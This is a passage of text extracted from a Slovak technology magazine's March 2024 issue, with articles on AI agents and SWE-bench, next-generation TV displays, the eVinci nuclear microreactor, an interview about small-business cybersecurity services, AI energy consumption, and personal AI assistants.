a mohli by nahradiť kancelárskych pracovní-
kov a automatizovať takmer akúkoľvek prácu 
úradníkov. Keby k tomu došlo, takýto výsle-
dok by určite uspokojil tých, ktorí chcú čo naj-
viac práce delegovať na umelú inteligenciu.

Jack Clark, spoluzakladateľ spoločnosti 
Anthropic, porovnával schopnosti veľkých 
jazykových modelov (large language mo-

dels – LLM) vykonávať zložité viacstupňové 
úlohy, teda prácu podobnú tej, ktorú by 
musel vykonávať autonómny agent. Tento 
benchmark, známy ako SWE-bench, hodnotí 
schopnosť autonómneho agenta vykonávať 
viackrokové úlohy vývoja softvéru. Clark po-
znamenáva, že riešenie úloh SWE-bench si 
vyžaduje, aby sa modely dokázali vyrovnať 
s rôzne dlhými vstupmi, upravovať kód v 
rôznych kontextoch a skúmať veľmi široký 
rozsah potenciálnych riešení.

Riešenie úloh SWE-bench je kľúčový krok 
pri posudzovaní schopnosti umelej inte-
ligencie pracovať autonómne v zložitých 
scenároch, pretože si vyžaduje, aby modely 
zvládali rôznorodé vstupy a samostatne 
skúmali potenciálne riešenia. Z doterajších 
výsledkov vyplýva, že najlepšie si počínal 
model Claude2 od spoločnosti Anthropic, 
ktorý však dokázal vyriešiť len menej ako 5 % 
testov benchmarku. ChatGPT dosiahol ešte 
horšie výsledky.

Tieto zistenia naznačujú, že modely ume-
lej inteligencie v súčasnosti nemajú schop-
nosť byť vysoko efektívnymi autonómnymi 
agentmi a budú naďalej slúžiť ako asistent 
na zlepšenie práce ľudských zamestnancov, 
v tomto prípade vývojárov softvéru. Môže sa 
to však zmeniť, ak budú jazykové modely po-
kračovať v rýchlom napredovaní.

Nevieme, ako dlho môže trvať, kým 
autonómne agenty AI dosiahnu túto úroveň 
schopností. Agentúra Reuters však informo-
vala o tom, že spoločnosť OpenAI by mohla 
čoskoro oznámiť technológiu na vytvorenie 
autonómnych agentov, pravdepodobne na 
báze GPT-4, ktoré dokážu vykonávať úlohy 
bez zásahu človeka.

Technologické spoločnosti sa budú 
predbiehať v uvedení novej generácie LLM, 
možno ešte pred koncom roka, pričom sa 
očakáva, že budú podstatne výkonnejšie. 
Toto zlepšenie však automaticky nezna-
mená, že by autonómne činnosti vykoná-
vali lepšie.

Umelá inteligencia bude v blízkej budúc-
nosti plniť čoraz väčšiu úlohu na pracovisku 
a môže odbúrať podstatnú časť práce, ktorú 
v súčasnosti vykonávajú ľudia. Tí budú ma-
nipulovať s viacerými asistentmi AI a riadiť 
ich činnosť, aby vykonávali čiastkové úlohy a 
dosahovali požadované obchodné ciele. Ob-
razne povedané, človek sa stáva dirigentom 
a AI asistenty sú členmi orchestra.  

A tu sa budúcnosť stáva nejasnou. Keby sa 
každý zamestnanec (aspoň v niektorých pro-
fesiách, kde bude mať gen AI veľký vplyv) mal 
stať dirigentom, nie je známe, koľko ich bude 
potrebných na dirigovanie v porovnaní so sú-
časným stavom pracovnej sily. Hlavne keď sa 
asistenty stávajú čoraz autonómnejšími.

Autonómne agenty majú potenciál zmeniť 
pracovnú silu a náš prístup k práci. Hoci exis-
tujú významné príležitosti na zvýšenie efek-
tívnosti a inovácie, sú tu aj výzvy súvisiace s 
presunom pracovných miest, etikou a vzde-
lávaním. Je isté, že niektoré pracovné miesta 
zaniknú, a dúfame, že sa objavia nové. Pre 
podniky, tvorcov politík, regulačné orgány 
a celú spoločnosť bude nevyhnutné, aby 
sa týmito zmenami zaoberali premyslene a 
zodpovedne s cieľom maximalizovať výhody 
AI a zároveň minimalizovať potenciálne ne-
gatíva.

»  ZDROJ:  VENTUREBEAT.COM/

ÚVODNÝ OBR ZDROJ:  SHUTTERSTOCK.COM

Postoj verejnosti k využitiu umelej inteligencie  
na pracovisku je zatiaľ prekvapivo pozitívny.  

Pred niekoľkými mesiacmi spoločnosť Microsoft zverejnila 
svoj index pracovných trendov, v rámci ktorého uskutočnila 

prieskum medzi 31 000 ľuďmi v 31 krajinách. 

AI AGENTY  
PRICHÁDZAJÚ DO KANCELÁRIÍ

MAREC 202418

MAGAZÍN





MAREC 202420

MAGAZÍN

Tradičné LCD displeje boli nahradené modelmi OLED a QLED, čo 
predstavuje obrovské zlepšenie. Čo však príde ďalej? V súčasnosti 

existujú štyri relatívne nové zobrazovacie technológie, pričom každá z 
nich je v inej fáze vývoja. Na jednej strane televízory OLED získavajú pod-
poru vďaka zdokonalenej technológii PHOLED a jedného dňa by plaz-
monická technológia PHOLED mohla posunúť displeje OLED na úplne 
inú úroveň. Na druhej strane sa zdokonaľujú aj televízory QLED, pričom 
displeje microLED už poskytujú neuveriteľné úrovne maximálneho jasu a 
televízory NanoLED, ktoré sa v súčasnosti vyvíjajú, posúvajú technológiu 
kvantových bodov na nové územie.

Pozrime sa, ako by sa každá z týchto technológií televíznych displejov 
mohla vyvíjať v nasledujúcich piatich rokoch.

PHOLED 
Displeje PHOLED používajú fosforeskujúce organické svetelné diódy na-
miesto fluorescenčných organických svetelných diód. A do určitej miery 
ich tu už máme. V súčasnosti všetky displeje OLED používajú červené a 
zelené subpixelové materiály PHOLED. No ešte tu nie sú televízne dis-
pleje využívajúce modrý materiál subpixelov PHOLED. Modré subpixely 
sú stále vyrobené z fluorescenčných materiálov.

Fosforeskujúce subpixely OLED premieňajú 100 % elektrického prúdu, 
ktorý nimi prechádza, na svetlo. Na porovnanie, fluorescenčné subpixely 
OLED zvládajú iba 25 % konverziu. To nielenže znižuje energetickú účin-
nosť, ale ovplyvňuje to aj špičkový jas.

Očakáva sa, že od roku 2024 sa to zmení. Spoločnosť Universal Display 
(UDC), ktorá vynašla technológiu PHOLED, sprístupní výrobcom disple-
jov modré materiály subpixelov. PHOLED je jemná zmena oproti súčas-
nej technológii OLED, ale znamená výrazné zlepšenie.

Plazmonický PHOLED 
Zatiaľ čo PHOLED už prichádza, plazmonický PHOLED je budúcnosť. 
Túto technológiu vyvíja aj spoločnosť UDC a jej viceprezident Dr. Mi-
chael Hack povedal, že plazmonická technológia PHOLED „by mohla v 

priebehu rokov možno zdvojnásobiť účinnosť OLED“. Ak to bude pravda, 
plazmonická technológia PHOLED takmer určite spôsobí revolúciu v te-
levízoroch OLED.

Plazmonický PHOLED podľa Dr. Hacka „zásadne zmení konštrukciu za-
riadenia OLED“ a využíva „novú fyziku, ktorá vlastne kontroluje, čo spôso-
buje degradáciu OLED“. Výhody plazmonického PHOLED pochádzajú zo 
zlepšenia spôsobu, ako sa svetlo vyžaruje cez medzeru v rámci zásobníka 
subpixelov OLED.

V súčasnosti nie je známe, kedy sa plazmonické displeje PHOLED ko-
nečne dostanú na pulty obchodov, ale zo slov Dr. Hacka vyplynulo, že 
v ideálnom prípade by ich spoločnosť UDC mala vyvinúť na použitie v 
priebehu nasledujúcich 10 rokov. Dovtedy by mali modré subpixelové 
materiály PHOLED poskytovať televízorom OLED dostatočné zlepšenie 
na to, aby sa každoročne uchádzali o titul najlepších televízorov.

MicroLED 
Televízory MicroLED sú už na trhu, ale stále sú veľmi dôležitou súčas-
ťou budúcnosti technológie televíznych displejov. A to najmä preto, že 
sú mimoriadne drahé. Televízory MicroLED stoja v priemere viac ako 
100 000 dolárov, hoci ich ceny konečne začínajú klesať pod túto hranicu.

Prečo sú televízory MicroLED také drahé? Displeje MicroLED sú na-
vrhnuté tak, že sa z nich vyberú malé LED diódy, ktoré sa zabudujú do 

ČO PRÍDE PO OLED?  
Najlepšie televízory sa neustále menia, pretože aj zobrazovacie technológie, ktoré za nimi stoja, 
sa ustavične zlepšujú. Televízory s rozlíšením 4K boli kedysi špičkovou technológiou, no teraz má 

takmer každý televízor rozlíšenie 4K a televízory s rozlíšením 8K sú ďalší logický krok. 
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malých LED substrátov a tieto malé substráty sa zmontujú do konečného 
displeja MicroLED. Tento proces si vyžaduje roboty a jediná chyba zničí 
celý displej.

V televízore MicroLED je približne 25 miliónov subpixelov. V súčasnosti 
sa panely displejov MicroLED vyrábajú vo formáte 10,1 až 14,6 palca, pri-
čom ich cena sa pohybuje od 5800 do 10 000 USD. Priemerná veľkosť dis-
pleja televízora MicroLED je viac ako 100 palcov, takže výroba jedného 
stojí desiatky tisíc dolárov.

Výskumná spoločnosť Omdia však predpokladá, že takéto 10,1-pal-
cové až 14,6-palcové panely MicroLED budú do roku 2027 stáť výrobcov 
televízorov len 1277 až 2400 dolárov. Keď sa tak stane, mnohí si konečne 
budú môcť dovoliť televízor microLED, čo je obrovská výhra, pretože v 
súčasnosti sú to najjasnejšie televízory na trhu. Navyše sú oveľa úspor-
nejšie ako súčasné televízory miniLED a QLED.

NanoLED 
Televízory NanoLED sú zatiaľ konečným štádiom vývoja televízorov 
QLED. V skutočnosti sú také futuristické, že podobne ako plazmonické 
PHOLED televízory ešte neexistujú. V súčasnosti sa v televízoroch QLED 
a QD-OLED používa tzv. filter kvantových bodov. Tieto filtre vynikajú 
presnejšou reprodukciou farieb ako tradičné televízory LED-LCD a OLED.

V oboch zobrazovacích technológiách svetlo prechádza cez zobra-
zovaciu vrstvu kvantových bodov, ktoré potom reprodukujú farbu na 
základe šírky bodu. NanoLED úplne eliminuje potrebu podsvietenia, 
namiesto toho sú kvantové bodky priamo stimulované elektrickou 
energiou v procese nazývanom elektroluminiscencia. Má to dve hlavné 
výhody. Prvou je, že televízory NanoLED by mohli byť ešte jasnejšie ako 
televízory MicroLED. Spoločnosť Nanosys, ktorá stojí za technológiou 
kvantových bodov a technológiou NanoLED, tvrdí, že NanoLED môže 
dosiahnuť maximálny jas viac ako 600 000 nitov, i keď túto hodnotu 
treba brať s rezervou.

Ďalšou výhodou je väčšia flexibilita. Zobrazovacie panely LED-LCD sú 
v podstate tuhé, a preto každý skladací displej je dnes OLED. NanoLED 
je však navrhnutý na základe procesu založeného na riešení podobnom 
atramentovým televíznym displejom. Vďaka tomu je takýto televízny dis-
plej prirodzene flexibilný a spoločnosť Nanosys tvrdí, že by sa tým mohli 
znížiť aj výrobné náklady.

Najskoršie odhady pre televízory NanoLED hovoria o roku 2025. No 
s najväčšou pravdepodobnosťou bude trvať dlhšie, kým sa televízory 
NanoLED stanú jednými z najlepších televízorov, ktoré si môžete kúpiť.

»  ZDROJ:  TOMSGUIDE.COM/ 
ÚVODNÝ OBR. ZDROJ:  VECSTOCKON FREEPIK.COM

V kanadskom Saskatchewane má byť do roku 2029 uvedený do 
prevádzky kompaktný jadrový reaktor schopný fungovať osem 

rokov bez vody. Projekt v hodnote 80 miliónov kanadských dolárov, 
ktorý oznámila saskatchewanská vláda a ktorý vedie Saskatchewan 
Research Council v spolupráci so spoločnosťou Westinghouse, má za 
cieľ demonštrovať možnosti tohto inovatívneho mikroreaktora zná-
meho ako eVinci. Westinghouse, spoločnosť stojaca za eVinci, tvrdí, 
že táto technológia prinesie nielen revolúciu vo výrobe energie, ale 
aj výrazne zníži znečistenie ovzdušia. Podľa Westinghouse každá 
jednotka eVinci prispeje k ročnému zníženiu znečistenia ovzdušia až 
o 55 000 ton. Jednou z kľúčových vlastností mikroreaktora eVinci je 
jeho pôsobivá všestrannosť.

Podľa Saskatchewan Research Council bude mať schopnosť gene-
rovať päť megawattov elektriny, produkovať viac ako 13 megawattov 
tepla alebo pracovať v režime kombinovanej výroby tepla a elektriny. 
Na lepšiu predstavu, jeden megawatt kapacity konvenčnej elektrárne 
dokáže pokryť energetické potreby 400 až 900 domácností za rok. 
Mikroreaktory sú pozoruhodné svojou prenosnosťou a potenciálom 
poskytovať napájanie odľahlým miestam. Pokiaľ ide o fyzickú inšta-
láciu, mikroreaktor eVinci bude nad zemou a zaberie relatívne malú 
plochu. Podporná infraštruktúra pre jednotku sa zmestí do rozlohy 
štandardného hokejového ihriska. Pozoruhodnou črtou mikroreak-
tora eVinci je jeho inovatívna technológia tepelného potrubia (heat 
pipe), ktorá eliminuje potrebu vody na chladenie systému.

Na rozdiel od tradičných jadrových reaktorov, ktoré na chladenie 
spotrebujú obrovské množstvo vody, je chladiaci systém eVinci nezá-
vislý od vody. Navyše po približne ôsmich rokoch prevádzky môže byť 
reaktor eVinci odstránený na likvidáciu, čím sa uvoľní miesto pre novú 
jednotku. Tradičné jadrové elektrárne produkujú značné množstvo 
jadrového odpadu, napríklad v USA je to približne 2205 ton ročne.

Odpad, ktorý tieto elektrárne produkujú, však pozostáva z kera-
mických peliet, čím sa eliminuje riziko nebezpečných rádioaktívnych 
materiálov. Výskumníci neustále skúmajú inovatívne metódy na 
efektívnejšie nakladanie s týmto odpadom, ako napríklad využitie 
baktérií.  Postup Westinghouse s mikroreaktorom eVinci je výrazne 
odlišný. Spoločnosť plánuje prevziať zodpovednosť za použité palivo 
a buď ho vrátiť do svojich zariadení, alebo ho bezpečne uložiť hlboko 
pod zem na dlhodobé uskladnenie. Táto konštrukcia nielenže zmier-
ňuje riziká spojené s vysokým tlakom a únikom chladiacej kvapaliny, 
ale umožňuje aj získavanie cenného tepla pre priemyselné aplikácie. 
Prvý mikroreaktor eVinci bude uvedený ako dôkaz koncepcie, ktorý 
pripravuje pôdu pre budúce inštalácie.		

                          

REVOLUČNÝ JADROVÝ  
MIKROREAKTOR DOKÁŽE  
FUNGOVAŤ OSEM ROKOV  
AJ BEZ VODY
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KYBERNETICKÁ BEZPEČNOSŤ  
NIE JE MOŽNOSŤ, ALE NEVYHNUTNOSŤ

O plánoch a zámeroch spo­
ločnosti ZEBRA SYSTEMS 
dodávajúcej špičkový bezpeč­
nostný softvér a komplexné 
riešenia sme sa porozprávali  
s Erikom Leom, novým 
Country Managerom spoloč­
nosti pre Slovensko.

S akými cieľmi a zámermi ste 
nastúpil na pozíciu Country Mana-
gera spoločnosti ZEBRA SYSTEMS 
pre Slovensko a ako plánujete vy-
užiť svoje bohaté skúsenosti v ob-
lasti bezpečnostného softvéru?

Erik Leo: Na pozícii Country Managera pre 
Slovensko sa starám o distribučný predaj a 
obchodný rozvoj všetkých značiek distri
buovaných spoločnosťou ZEBRA SYSTEMS 
na Slovensku. Ako hlavný cieľ som si sta-
novil rozšíriť povedomie o kybernetických 
riešeniach, ktoré ponúkame, a keďže som v 
iných firmách pracoval viac ako 10 rokov pre 
rôzne zahraničné trhy (Nemecko, Rakúsko, 
Švajčiarsko, Anglicko), rád by som priniesol 

našim partnerom najnovšie trendy 
 v oblasti kybernetickej 

bezpečnost i . 

NXT



O aké produkty a služby ZEBRA 
SYSTEMS je na Slovensku najväčší 
záujem?
Erik Leo: Na Slovensku prostredníctvom na-
šich partnerov dodávame kompletné portfó-
lio, t. j. riešenia Acronis, GFI Software, N-able, 
Cloudflare, AST a Company (Un)Hacked. 
Okrem predaja poskytujeme našim zákazní-
kom aj špičkovú podporu a školenia. Spomí-
nané riešenia sa navzájom dopĺňajú, takže 
naši partneri vedia vytvoriť komplexné ky-
bernetické riešenia. Žiadané sú napríklad 
kybernetické audity, lebo mnohé firmy často 
nemajú prehľad o aktuálnom stave zabez-
pečenia. Ďalšia dôležitá oblasť je školenie v 
oblasti kybernetickej bezpečnosti, ktoré je v 
mnohých organizáciách veľmi podceňované, 
a my ponúkame moderné a atraktívne rieše-
nie školenia vo virtuálnej realite.

Je povedomie o kybernetickej 
bezpečnosti vo firmách dostatočné? Aké 
sú trendy v tejto oblasti?
Erik Leo: Máme celkom dobrý prehľad o tom, 
čo sa deje najmä v segmente malých a stred-
ných podnikov (SMB), pretože mnohí používa-
telia našich technológií sú z tohto segmentu. 
Podľa nedávneho prieskumu spoločnosti 
GFI Software je len 31 % malých a stredných 
podnikov dobre pripravených na potenciálny 
kybernetický útok. Malé a stredné podniky sú 
totiž minimálne rovnako náchylné stať sa obe-
ťou útokov ako veľké spoločnosti, a to práve z 
dôvodu ich slabej obrany.

Väčšina SMB spoločností má dnes nanajvýš 
jedného experta na kybernetickú bezpečnosť 
a mnohé dokonca nemajú žiadneho. Pritom 
väčšina útokov na tieto spoločnosti využíva 
značný počet zraniteľností obsiahnutých v 
neaktualizovaných systémoch a aplikáciách. 
Preto sa k nim ľahko dostane malvér, phishin-
gové e-maily, ransomvér, útoky DDoS alebo 
útoky typu man-in-the-middle.

Pre malé a stredné podniky už kybernetická 
bezpečnosť nie je možnosť, ale nevyhnutnosť. 
Zaužívaná predstava, že „sme príliš malí na to, 
aby nás niekto napadol“, je len ilúziou. Preto 
vidíme zreteľný nárast záujmu o outsourcing 
IT bezpečnosti profesionálnym poskytova-
teľom MSP, pričom mnohé malé a stredné 
podniky už využívajú aspoň niektoré služby 
MSP, čím eliminujú nedostatok alebo absen-
ciu vlastných IT expertov.

Aké nedostatky a riziká dokáže 
odhaliť bezpečnostný audit? Aké ná-
stroje na audit ponúka ZEBRA SYSTEMS?

Erik Leo: Ako som naznačil, čoraz viac organi-
zácií požaduje audit kybernetickej bezpečnosti. 
Podľa niektorých štatistík viac ako polovica ma-
lých a stredných podnikov je alebo bola terčom 
nejakého kybernetického útoku, pričom až tri 
štvrtiny škodlivého softvéru zostávajú neodha-
lené prostredníctvom nástrojov založených na 
signatúrach, ktoré používajú. 

Audit kybernetickej bezpečnosti je jedno 
z proaktívnych opatrení na zníženie rizika 
týchto útokov. Audit by mal identifikovať ob-
lasti kybernetickej bezpečnosti, ktoré by mali 
byť pokryté, ako aj posúdiť konkrétne riziká a 
zaviesť primerané opatrenia. 

Audit nevyrieši jeden produkt alebo ná-
stroj, je to predovšetkým proces, ktorý si vy-
žaduje čas, úsilie zodpovedných pracovníkov 
a dôsledné vykonávanie potrebných opat-
rení. Konkrétne bezpečnostné nástroje, ako 
napríklad GFI LanGuard, však môžu poskytnúť 
cenné informácie, ako napríklad identifikáciu 
hrozieb, inventarizáciu zariadení, systémov a 
softvéru alebo úroveň zabezpečenia, čo celý 
proces veľmi zefektívni.

Najslabším miestom, čo sa týka 
zabezpečenia v mnohých firmách, je ľud-
ský faktor. Čo by sa malo zlepšiť v oblasti 
vzdelávania zamestnancov?
Erik Leo:  Kybernetické útoky sú v súčasnosti 
dobre organizovaným odvetvím, ktoré útočí 
na najslabší článok kybernetickej bezpečnosti 
– firemného používateľa. Podľa spoločnosti 
Cox BLUE je 48 % úspešných kybernetických 
útokov v malých a stredných organizáciách 
spôsobených ľudským faktorom. Preto je dô-
ležité nenudiť zamestnancov štandardnou 
prezentáciou, ale skôr ich atraktívnym spô-
sobom motivovať, aby získali povedomie o 
kybernetických hrozbách a snažili sa vyhnúť 
rizikovému správaniu.

Nedávno sme sa stali distribútorom rieše-
nia Company (Un)Hacked, ktoré umožňuje 
zamestnancom naučiť sa špecifické triky, 
ktoré hackeri používajú, aby sa dostali k cit-
livým informáciám, pričom počas školenia 
prechádzajú rôznymi na seba nadväzujúcimi 
scenármi. Jedinečnosť tohto projektu spočíva 
v tom, že školenie vo virtuálnej realite je skôr 
dramatická udalosť než tradičná nudná pre-
zentácia. Počas školenia zamestnanci prebe-
rajú úlohu hackera, ktorý vykonáva vybrané 
úlohy špecificky zamerané na kancelárske a 
firemné prostredie, a vďaka tomu sa stávajú 
odolnejšími proti skutočným kybernetickým 
útokom, čo v konečnom dôsledku posilňuje 
celkovú bezpečnosť spoločnosti.

Čoraz populárnejšou formou rea-
lizácie zabezpečenia, hlavne vo firmách, 
ktoré nemajú vlastných IT špecialistov, 
sú manažované IT služby. Aké sú výhody 
MSP?
Erik Leo: Spoločnosti si často nemôžu dovoliť 
správcov IT, ktorí by boli schopní pokryť ich 
potreby v oblasti IT, alebo jednoducho nie sú 
na trhu. To je však len jeden z dôvodov, prečo 
prejsť na služby MSP. Ďalšími sú rastúci strach 
z kybernetických útokov, nepríjemné skúse-
nosti s výpadkami alebo nepredvídateľné ná-
klady na vlastníctvo IT.

Keď organizácie prejdú na model služieb 
MSP, presne vedia, koľko budú platiť mesačne 
alebo ročne. Navyše ich údaje budú bezpeč-
nejšie ako vo vlastných systémoch, pretože 
poskytovatelia MSP si môžu dovoliť lepšie za-
bezpečenie. A napokon sa nebudú musieť sta-
rať o údržbu, modernizáciu alebo licencovanie 
svojej IT infraštruktúry, pretože to všetko je už 
zahrnuté v cene služby. A dopyt rastie – ne-
dávna správa spoločnosti N-able uvádza, že 
97 % poskytovateľov MSP očakáva, že príjmy 
zo služieb MSP v najbližších rokoch porastú.

Pre každého dodávateľa IT pro-
duktov a služieb je kľúčový partnerský 
ekosystém. Aká je aktuálna situácia a 
čo v tejto oblasti plánujete zlepšiť? Aké 
podujatia pre zákazníkov a partnerov 
pripravujete?
Erik Leo: Na Slovensku máme silnú partner-
skú základňu, ktorú sa snažíme po celý rok 
informovať o novinkách v našich riešeniach, 
a to vrátane rôznych podujatí, webových 
seminárov a konferencií. Minulý rok sme na-
príklad zorganizovali roadshow v Bratislave a 
potom sme sa stretli s partnermi v Košiciach 
a Banskej Bystrici. Tento rok chceme rozšíriť 
portfólio podujatí aj do ďalších regiónov, na-
príklad do Žiliny, Popradu a Nitry. Tento rok sa 
26. septembra vraciame do Bratislavy s našou 
Zebra Cyber Roadshow 2024, kde sa účastníci 
dozvedia najnovšie trendy v oblasti kyberne-
tickej bezpečnosti.

Okrem toho vykonávame aj množstvo mar-
ketingových aktivít vrátane webových semi-
nárov, technických školení, prieskumu trhu a 
udeľovania cien za najlepší predaj. Neustále 
sa snažíme informovať našich partnerov a 
poskytovať im čo najlepšie podmienky na do-
sahovanie stále lepších výsledkov. Pretože náš 
úspech závisí predovšetkým od ich úspechu a 
spokojnosti ich zákazníkov.

Ďakujeme za rozhovor. 


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Umelá inteligencia sa stala neodmysliteľ-
ným fenoménom, pričom jej nástup bol 

rýchlejší než najsmelšie predpovede analyti-
kov.  Aj laik si dokáže predstaviť, že natrénova-
nie modelov neurónových sietí aj generovanie 
odpovedí na zadania používateľov si vyžaduje 
obrovskú výpočtovú silu. Okrem investičných 
nákladov si hardvérová infraštruktúra na po-
zadí vyžaduje aj obrovské prevádzkové ná-
klady, hlavne čo sa týka spotreby energie. 

Facebook zverejnil, že pri trénovaní svojich 
modelov AI LLama 2, ktoré v mnohých ohľa-
doch prekonávajú základný model GPT-3, vy-
užil 2048 grafických kariet NVIDIA A100–80 
GB počas 5 mesiacov. Spotreba energie sa 
odhaduje na 2 638 000 KWh. Na ilustráciu, rov-
naké množstvo v priemere za rok spotrebuje 
1650 ľudí vrátane vykurovania a ohrevu teplej 
úžitkovej vody. Pri výrobe takéhoto množstva 
energie sa vyprodukovalo 1015 ton CO2.

OpenAI údaje o spotrebe energie na natré-
novanie modelu LLM ChatGPT-4 nezverejnila, 
takže môžeme len odhadovať a počítať. Podľa 
neoverených únikov informácií bol GPT-4 tré-
novaný na zostave približne 25 000 grafických 
kariet NVIDIA A100 počas 95 dní. Predpokla-
dajme, že grafické karty boli nainštalované na 
serveroch NVIDIA HGX, z ktorých každý môže 
obsahovať 8 kariet. Z toho vyplýva, že bolo po-
užitých 25 000 / 8 = 3 125 takýchto serverov. 
Príkon jedného servera možno odhadnúť na 
6,5 kW. Ak príkon vynásobíme počtom hodín, 
v našom prípade 95 dní = 2280 hodín, dopra-
cujeme sa k celkovej spotrebe 14 820 kWh na 
jeden server. Pre 3125 serverov spotreba činí 
46,3 GWh (gigawatthodín). Generovanie od-
povede ChatGPT po dokončení tréningu mo-
delu je oveľa menej energeticky náročné, ale 
treba si uvedomiť, že tento a podobné nástroje 
AI využíva viac než 100 miliónov používateľov. 
Na prevádzku ChatGPT sa spotrebuje 1 GWh 
denne, čo je približne kapacita jadrovej elek-
trárne v Jaslovských Bohuniciach. 

Energetická náročnosť umelej inteligencie 
a jej uhlíková stopa sú dôležité aspekty, ktoré 

treba zvážiť pri hodnotení celkového vplyvu 
týchto technológií na životné prostredie. Si-
tuácia je do značnej miery podobná boomu 
ťažby kryptomien v nedávnej histórii. Rov-
nako ako na AI sa aj na tento účel využívali a 
ešte stále využívajú výkonné grafické karty a 
hlavným problémom popri cene hardvéru boli 
náklady na energie. Spotreba energie na ťažbu 
kryptomien sa prirovnávala k energetickej 
spotrebe stredne veľkej krajiny. A rovnako ako 
pri AI aj ťažbári kryptpomien hľadali riešenia, 
ako využiť odpadové teplo vzniknuté pri chla-
dení hardvéru napríklad na vykurovanie budov, 
bazénov, skleníkov a podobne. 

Uhlíková stopa systémov AI závisí od viace-
rých faktorov vrátane efektívnosti využívaného 
dátového centra, zdroja elektrickej energie a 
efektívnosti samotných hardvérových kompo-
nentov. Dátové centrá môžu znižovať svoj envi-
ronmentálny dosah využívaním obnoviteľných 
zdrojov energie, ako sú vodné, fotovoltické či 
veterné elektrárne. Vývojári môžu prispieť k 
znižovaniu energetickej náročnosti systémov 
AI optimalizáciou algoritmov. Efektívnejšie mo-
dely sú menej náročné na výpočtový výkon, a 
teda aj na spotrebu energie. Rovnako vývoj a 
nasadenie energeticky účinnejších procesorov 
a GPU môže znížiť celkovú spotrebu energie. V 
tomto ohľade máme veľké očakávania ohľadne 
procesora Prodigy od spoločnosti Tachyum.  

Analytici a futurológovia sa určite zamýšľajú 
nielen nad výkonom, ale aj energetickou ná-
ročnosťou v súvislosti s rozvojom AI. Historicky 
sa množstvo výpočtov potrebných na získanie 
požadovaných výsledkov zdvojnásobilo každé 
3,4 mesiaca, takže v priebehu jedného roka 
výpočtová náročnosť vzrastie osemnásobne. 
Určite však nemusíme mať obavy z osemná-
sobnej spotreby energie.

Keď sme už spomenuli históriu, počítač 
ENIAC z roku 1943 využíval 17 468 elektrónok 
a mal príkon 150 kW elektrickej energie. Aby 
ste si urobili predstavu o jeho výpočtovom vý-
kone, na tú dobu fantastickom, ENIAC dokázal 
za sekundu zrealizovať 357 násobení desať-

miestnych čísel. Moderný procesor Intel Core 
i7 14. generácie je taktovaný na 5,6 GHz (turbo 
režim pre jedno performance jadro). Na jedno 
násobenie potrebuje 8 strojových cyklov. Za 
sekundu teda zvládne 700 miliónov násobení. 
Teoretická zostava zložená z počítačov ENIAC 
by na dosiahnutie rovnakej rýchlosti násobenia 
vyžadovala dva milióny počítačov s celkovým 
príkonom 300 GW. Moderný procesor Intel Core 
i7 však má príkon len 253 W.

Zatiaľ čo objem výpočtov sa dá pomerne 
dobre kvantifikovať, inovácie algoritmov sa 
priamo kvantifikovať nedajú. Takisto sa nedá 
odhadnúť, do akej miery objem požadovaných 
výpočtov len maskuje nedostatky súčasných 
algoritmov. Pomerne dobre sa dá kvantifikovať 
množstvo výpočtov potrebných na trénovanie 
jedného modelu. Do hry vstupujú limity pa-
ralelného spracovania, tak hardvérové, ako aj 
algoritmické, ktoré určujú, aký veľký môže byť 
model a do akej miery môže byť efektívne tré-
novaný. Veľký prelom nastal v roku 2012, keď 
sa na úlohy strojového učenia začali využívať 
grafické karty. Spočiatku sa používali zostavy 
s 1-8 GPU, v roku 2014 to už boli zostavy 10 – 
100 grafických kariet, pričom aj použité grafické 
karty boli podstatne výkonnejšie. Od roku 2016 
sa na úlohy strojového učenia začal využívať 
aj špecializovaný hardvér TPU (Tensor Proces-
sing Unit) a veľký pokrok nastal v algoritmoch 
paralelného spracovania. Veľa spoločností vrá-
tane firmy Tachyum vyvíja čipy optimalizované 
pre AI, pričom sa predpokladá, že niektorým z 
nich sa podarí dosiahnuť podstatné zvýšenie 
pomeru FLOPS/wattov, teda pomeru výpočto-
vého výkonu a spotreby. 

Na prvý pohľad by sa mohlo zdať, že väčšina 
výpočtov v neurónovej sieti súvisí s jej tréno-
vaním. Nie je to pravda. Najviac výpočtov si 
vyžaduje generovanie odpovedí. A je to gene-
rovanie odpovedí, ktoré poskytuje zisk a reputá-
ciu. Z toho vyplýva, že spoločnosti vytvárajúce 
a prevádzkujúce modely AI si budú môcť na 
trénovanie modelov neurónových sietí dovoliť 
nakúpiť alebo prenajať vyšší objem hardvéro-
vých prostriedkov, pretože na ne zarobia pre-
vádzkovaním platených modelov. Môžeme sa 
domnievať, že exponenciálne trendy vo výpoč-
tovej technike budú pokračovať aj vzhľadom na 
aktuálne ekonomické stimuly, ako je napríklad 
10-miliardová investícia Microsoftu do OpenAI. 

Zatiaľ čo AI prináša mnohé výhody a inová-
cie, je dôležité zvážiť a riešiť jej environmentálne 
dôsledky. Pokračujúci výskum a inovácie v ob-
lasti energeticky efektívnych technológií a udr-
žateľných postupov sú kľúčom k minimalizácii 
uhlíkovej stopy AI a podpore jej udržateľného 
rozvoja.

 » ĽUBOSLAV LACKO 

ÚVODNÉ FOTO:  SERGEI TOKMAKOV Z PIXABAY

AKÁ JE ENERGETICKÁ  
NÁROČNOSŤ AI ?
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Takáto minulosť mu poskytuje jedinečný pohľad na to, čo bude 
nasledovať v oblasti umelej inteligencie. Suleyman tvrdí, že ge-

neratívna AI sa čoskoro stane všadeprítomnou. Hoci varuje pred po-
tenciálnymi rizikami, ktoré AI predstavuje, a to najmä v kombinácii so 
syntetickou biológiou, predpovedá takisto, že do piatich rokov bude 
mať každý prístup k osobnému AI asistentovi, ktorý vás pozná, je su-
perinteligentný a rozumie vašej osobnej histórii.

Umelá inteligencia, ktorá si pamätá predchádzajúce rozhovory, 
rozvíja poznatky na základe týchto rozhovorov, poskytuje užitočné 
poradenstvo a terapiu a dokáže to robiť súčasne s tisíckami používa-
teľov, sa podobá Samanthe z filmu Her z roku 2013.

Suleymanova súčasná spoločnosť vyrába Pi, čo je skratka pre „per-
sonal intelligence“. Ide o „osobnú AI navrhnutú tak, aby vás podporo-
vala, bola inteligentná a bola tu pre vás kedykoľvek“. Má byť koučom, 
dôverníkom, kreatívnym partnerom a asistentom. Znie to veľmi po-
dobne ako Samantha a prichádza oveľa rýchlejšie, ako by sme čakali. 
V skutočnosti sa zdá, že všetko, čo sa týka generácie AI, sa deje až 
príliš rýchlo.

Trh s asistentmi sa stáva preplneným, najmä preto, že sa začínajú 
objavovať aj čínski účastníci. V súčasnom informačnom veku sa infor-
mácie aj výpočtová technika stali komoditami, položkami, ktoré sa 
ľahko kupujú a predávajú, a to za nízku cenu. Suleyman k vlne umelej 
